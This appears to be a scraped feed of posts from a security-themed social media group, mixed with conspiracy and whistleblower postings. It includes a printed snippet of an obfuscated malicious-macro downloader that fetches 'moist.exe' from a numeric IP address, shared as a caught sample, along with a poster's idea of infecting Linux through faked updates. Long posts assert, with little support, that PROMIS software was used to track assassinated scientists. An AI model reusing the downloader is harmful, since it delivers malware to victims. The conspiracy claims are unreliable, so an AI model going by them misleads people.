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The Pirate Party Strategies for "Political Campaign Reform"
Iceland Pirates Tossed The FBI form the USA Out and have been Arresting the Banksters With a  Hat Tip to +Rick Falkvinge,  The Pirate Party Founder  
https://plus.google.com/111485701979929741583/posts/8vc5FmQMrW6
Please note the Information Dump regarding "The pirates Political Strategy", at the above link.
Pirates Arresting the Banksters: The Icelandic Pirate party manual titled, "Swarm Wise" the tactical manual for changing the world, By the Pirate Party… - Toxic Reverend - Google+
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Please note the Information Dump regarding "The pirates Political Strategy", at the above link.

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Anyone else having difficulty with HTTPS on Amazon? It isn't defaulting to https, and doesn't accept me forcing it on all pages either.
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+Ed Thomson Yup definitely something fishy. No HTTPS will enable.
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I just thought of a way to infect a Linux operating system with a virus (or at least get unwanted files on it). When updating a program, you don`t need to enter a password (at least on Ubuntu). What if you told the operating system to download a package and let the system see it a as an update? You would of course need to fake some security certificates (at least if the updater is that safe, which I hope it is). Would this work? (Don`t worry, I won`t use it cause I don`t know how to fake security certificates and stuff :))
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+ṤⱧǠ ᴆŐƜ Sorry - I may have misread...
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Is anyone aware of a FIPS validated AES cryptolibrary that is open sourced?
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I guess openssl does that, though not sure.
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Do we have any way to find out if any of the employees have uploaded client specific critical data over the internet.
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+TheWatcher _​ I'm checking on it and shall keep you posted if I get some information.
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R.I.P. Miachel C. Ruppert
(February 3, 1951 – April 13, 2014) 
How Surfing the Internet can get you killed  

The first reference article was written by Ruppert well over a decade ago. But back then {before Edward Snowden} most people just wrote Miachel off as a "conspiracy theorist". He wrote about the "PROMIS software" (1) that is believed responsible for identifying and tracking the various microbiologists and other researchers that were assassinated and or died very mysteriously (1) & (3).* 
https://www.facebook.com/toxicreverend/posts/10152360278346985 
 

The Suicide Death Of Michael C. Ruppert - Narrated by Jack Martin
A 25 minute Youtube video made at the ranch were Michael died plus information links and locked comments >
https://plus.google.com/111485701979929741583/posts/ZZbXJ6RwoBA?hc_location=ufi
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I am NO KNOWN RELATIONSHIP to Jon Krohmer MD of whom was the Chief Medical Officer of Homeland Security.

It appears that  Dr. Alexander Garza is now the chief medical office of Homeland Security
 
So I know this page is not intended for this, however I need someone to point me in the right direction. I used iobit undelete in a attempt to recover deleted pictures from android to my hard drive. Now when I try to open with IrfranView this is what I get.
 :Can`t read file header !

Unknown file format, empty/damaged file or file not found.

There are hundreds of pictures like this. I am hoping it is just the headers but many other programs fail. Not sure how to work a hex editor. I would be grateful for any help.
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Hi every one 
how can i find the IP address of some one sent me email 
or posted something on Facebook 
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+ṤⱧǠ ᴆŐƜ thanks :) 
for your reply :) 
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a snippet from a doc file with macros enabled that reached our email.  Caught this before kaspersky did.

a = l(“m”)
b = “xe”
a = m (a, “\df.e”, b)
b = “htt” & “p://8” & “0.242.123.211:88” & “8/moist.e” & b

moist.exe....that word make me shudder.
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could probably download it from the ip address above.  We have bosnia geoblocked on our firewalls
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Promis "Black Ops A.I. Software"
(Prosecutor's Management Information System) 
by Michael C. Ruppert R.I.P. 
[The following story appeared in the September, 2000 Special Edition of From The Wilderness for paid subscribers only. Read it now, free}
Partial excerpts follows:

A close examination of the Promis saga actually leads to more deaths which may well be why so many people avoid it.
Reminder; written 15 years ago in 2000

PROMIS, from its first "test drive" a quarter century ago, was able to do one thing that no other program had ever been able to do. It was able to simultaneously read and integrate any number of different computer programs or data bases simultaneously, regardless of the language in which the original programs had been written or the operating system or platforms on which that data base was then currently installed.

The Archive Wayback Machine address for the story is >
http://web.archive.org/web/20011103085246/http://www.copvcia.com/stories/may_2001/052401_promis.html

  #AI_First_Born  
Promis. by. Michael C. Ruppert. [The following story appeared in the September, 2000 Special Edition of From The Wilderness for paid subscribers only. Read it now, free, for the first time ever on the web. © Copyright 2000, 2001. All rights reserved. Michael C. Ruppert and From The Wilderness ...
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I'll explain this with some examples.
A certain type of government software very similar to what Thomas Drake exposed (2) called "PROMIS software" was reported on in 2002 (1). Over a decade ago and long before Edward Snowden "stepped up".  Michael C. Ruppert {R.I.P.} reported that the "PROMIS software" was believed responsible for identifying and tracking the various microbiologists and other researchers that were assassinated (1).  Lists of the researchers names, what they were workig on and the mysterious circumstances of their various deaths are listed in reference (3).

In reference, see these two articles (1, 2) and the list of dead scientists (3). 

R.I.P. Miachel C. Ruppert (February 3, 1951 – April 13, 2014)
How Surfing the Internet can get you killed  

The first reference article was written by Ruppert well over a decade ago. But back then {before Edward Snowden} most people just wrote Miachel off as a "conspiracy theorist". He wrote about the "PROMIS software" (1) that is believed responsible for identifying and tracking the various microbiologists and other researchers that were assassinated and or died very mysteriously (1) & (3).*

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A Career In Microbiology Can Be Harmful To Your Health
(Revised - updated since Feb. 28, 2002)
DEATH TOLL MOUNTING AS CONNECTIONS TO DYNCORP, HADRON, PROMIS SOFTWARE AND DISEASE RESEARCH EMERGE
by Michael Davidson, FTW staff writer
and R.I.P. Michael C. Ruppert
From The Wilderness Publication, February 28, 2002
http://www.fromthewilderness.com/free/ww3/02_14_02_microbio.html

1A; a partial excerpt from reference 1
{edit note: written in 2002}>
PROMIS is a highly sophisticated computer program capable of integrating a wide variety of databases. The software has reportedly been mated in recent years with artificial intelligence.  PROMIS has long been known to have been modified by intelligence agencies with a back door that allows for surreptitious retrieval of stored data. [For more information on what PROMIS can do and its history, please use the search engine at w w w . copvcia . com
End of partial excerpt from reference 1

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Promis (Prosecutor's Management Information System)
by Michael C. Ruppert R.I.P.
[The following story appeared in the September, 2000 Special Edition of From The Wilderness for paid subscribers only. Read it now, free}
PROMIS, from its first "test drive" a quarter century ago, was able to do one thing that no other program had ever been able to do. It was able to simultaneously read and integrate any number of different computer programs or data bases simultaneously, regardless of the language in which the original programs had been written or the operating system or platforms on which that data base was then currently installed.
The Archive Wayback Machine address for the story is >
http://web.archive.org/web/20011103085246/http://www.copvcia.com/stories/may_2001/052401_promis.html


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CopVCia Site Hacked Down - Mirror Site Up And Running
By Mike Ruppert {R.I.P.}, Rense News March 23, 2002
http://www.rense.com/general21/ddp.htm
Current mirror list:   w w w . bighula . com/copvcia/
Current mirror list presently seems "buggy" >    w w w . bighula . com/copvcia/
Source of mirror information now seems "buggy". *
Archive Wayback Machine March 23, 2002* copy of mirror page is
http://web.archive.org/web/20020325095400/http://www.bighula.com/copvcia/



Additional to reference #1: >
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Vast F.D.A. Effort Tracked E-Mails of Its Scientists
By ERIC LICHTBLAU and SCOTT SHANE
tHE nEW yORK tIMES, July 14, 2012 
https://www.nytimes.com/2012/07/15/us/fda-surveillance-of-scientists-spread-to-outside-critics.html?_r=3&pagewanted=all&

2  : 
"The Secret Sharer" by Jane Mayer
The New Yorker May 23, 2011
An investigation into the prosecution of Thomas Drake, an NSA whistleblower, under the Espionage Act, reveals more information about the NSA’s warrantless wiretapping program exposed by the New York Times in 2005, and raises questions about his prosecution.
http://www.newyorker.com/reporting/2011/05/23/110523fa_fact_mayer

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"Dead Scientists DO Tell Tales" By Steve Quayle
A web page that had documented the strange and mysterious deaths of scientists with their names and the circumstances of their deaths and the research that they were known to be doing.Now a search engine to track the stories with at
2004 - 2012 RIP
http://www.stevequayle.com/index.php?s=146
!994 - 2003 RIP
http://www.stevequayle.com/index.php?s=145

Old page moved,
http://www.stevequayle.com/index.php?s=146  but was at: 
http://www.stevequayle.com/dead.scientist.news.html

End of copy / paste from >* 

R.I.P. Michael C. Ruppert Suicide Note Released 
https://plus.google.com/111485701979929741583/posts/VSMFTJj6gzP  
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Attention:              
"Home of the naive and land of the deceived' - T.R. 

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Family of FDA scientist whistleblowers threatened over radiation whistleblowing prior to Fukushima 
The investigation was eventually "scuttled" and the "cover up" continues.

Multiple news releases of another censored article can be found with the Google search terms;
"Dr. Julian Nicholas Food and Drug Administration suppressed radiation"

Feds reopen probe into medical scanner approvals
Inspectors to re-examine allegations that FDA scientists were pressured to clear devices
Matthew Perrone, Associated Press Health Writer,
On Tuesday September 28, 2010,
Huffington Post copy of article is at 
http://www.huffingtonpost.com/2010/09/29/feds-reopen-probe-into-me_n_743225.html?

Partial excerpts:

Since the FDA whistleblowers went public with their concerns – in letters to Congress and the Obama administration in 2008 and 2009 – at least two scientists have been let go and another has quit after alleged intimidation.

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In the final incident, Akabani's manager asked about the health of his wife, who has cancer, and his son, who was born severely handicapped. According to Akabani, the manager suggested his job – and health insurance for his family – would be safe as long as he cooperated with his supervisors.
"It shook me to the core because I realized that he was coercing me," said Akabani, who resigned from the FDA and currently teaches nuclear physics at Texas A&M University. 

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Archived copy of censored news report from a month before Fukushima
EPA under reports radiation in America's drinking water supplies

Part 8: I-Team: News report of February 2011 PRIOR To Japan Nuclear Accident
Archived copy of the censored February 2011 web page is at >
http://web.archive.org/web/20110223093437/http://www.khou.com/home/I-Team-EPA-under-reports-radiation-in-Americas-drinking-water-.html
Was at { censored }>
http://www.khou.com/home/I-Team-EPA-under-reports-radiation-in-Americas-drinking-water-.html
In reference:
Dr. Arjun Makhijani
Institute for Energy and Environmental Research
http://www.ieer.org/
 
Couldn't agree more
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+Lode Van Beethoven I think those are examples of both the technology failing to account for some disabilities and a general lack of understanding or awareness of the breadth of disabilities which exist. When you ask people about disability, they will identify the more common or obvious disabilities. There is frequently a lack of awareness or understanding of many less 'obvious' disabilities.

Technology won't automatically enable people with a disability if the design and implementation fails to consider the needs of those with various disabilities. However, if such needs are considered, especially at the design stage, then it is usually possible to ensure access and often enhance it in such a way that the information or service becomes more accessible than it would have been without the technology. 

The real problem is that too often, designers/developers fail to consider such issues because there isn't sufficient awareness or understanding. Due to the broad nature of disabilities, there will always be edge cases and variation in the level of ease of access, but there are few cases were technology will reduce access if implemented correctly . There will be cases where it doesn't necessary improve accessibility, which I think is acceptable. It should not be assumed technology will always make things better, but we must work to avoid situations where it makes it worse. I can imagine there are some cases where technology is unable to improve the situation, but in all the situations I can think of, the technology hasn't made it worse - the service or information may not be accessible, but it wasn't accessible or available without the technology either (this is assuming technology which is developed with disability needs in mind, not technology developed which has failed to consider such needs).. 

I think the situation is definitely improving. It still has a long way to go and there are some disabilities which sitll don't get the recognition they need. There is as much variation in disabilities as variation in people, this will always be a challenge because you cannot cater for disabilities you are unaware of or don't understand. Ensuring technology does not reduce access and takes advantage of all opportunities to improve it will be an on-goinng challenge. It isn't something which at some point will be considered solved. Maintaining high levels of awareness and understanding will go a long way towards enabling those with disabilities and avoidinng the introduction of new technology which decreases access for no other reason than ignorance. 
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I'll just leave this here....
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Using ‪#‎Biometric‬ Attendance System in Hospitals - Biometrics is often connected with security access control, but one of its main applications is for time and attendance in organizations. This is especially useful for the healthcare sector particularly hospitals. However, in the hospital environment with rough handling at these places, the older biometric attendance systems are not effective enough to operate. - See more at: http://goo.gl/PXMJpA
Biometrics is often connected with security access control, but one of its main applications is for time and attendance in organizations. This is especially useful for the healthcare sector particularly hospitals. However, in the hospital environment with rough handling at these places, the older biometric attendance systems are not effective enough to operate.Thus, one needs to invest in good quality biometric attendance system such as Futronic ...
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Understanding Biometric Identification with Optical Fingerprint Scanners - Fingerprint scanners use different types of sensors to create digital images of the minutiae. Some commercially used sensors include optical, capacitance and ultrasonic. The technology used by them to capture the digital image varies and each one has its own share of merits & demerits. From all the sensors mentioned above, optical sensors' technology is the most developed and thus is used widely in the fingerprint readers worldwide. Most of the fingerprint scanners distributed by us for biometric identification use optical sensor technology to achieve the best results. - See more at:
http://goo.gl/j19Q39
Fingerprint scanners use different types of sensors to create digital images of the minutiae. Some commercially used sensors include optical, capacitance and ultrasonic. The technology used by them to capture the digital image varies and each one has its own share of merits & demerits. From all the sensors mentioned above, optical sensors' technology is the most developed and thus is used widely in the fingerprint readers worldwide. Most of the f...
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Brilliant!

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Yes some of this stuff is funny but sometimes it's wrong to play with someones heart because it hurts and you should know that when your family is hurting this bad you should care for them and yet you are to chicken shirt to bring me back without going on with stupid stuff bye keeping me going .on this goose Chase on having me name everyone in this world if this keeps up we will never get married again you all think it's a joke but their is a time for joking and a time not to and know is not the time for joking sorry but the truth well how do you think we feel asswhole I do love you very much and we miss you so much baby I need you know more then ever so can you find it in your hart to bring me back and you can come back as who ever you want I don't care because I love you with all my heart any way it needs to happen before someone around here gets hurt the hurting needs to stop know I need you to hold me for the last time baby 
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thanks for accepting my membership request
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+ṤⱧǠ ᴆŐƜ OK i will not post in it 
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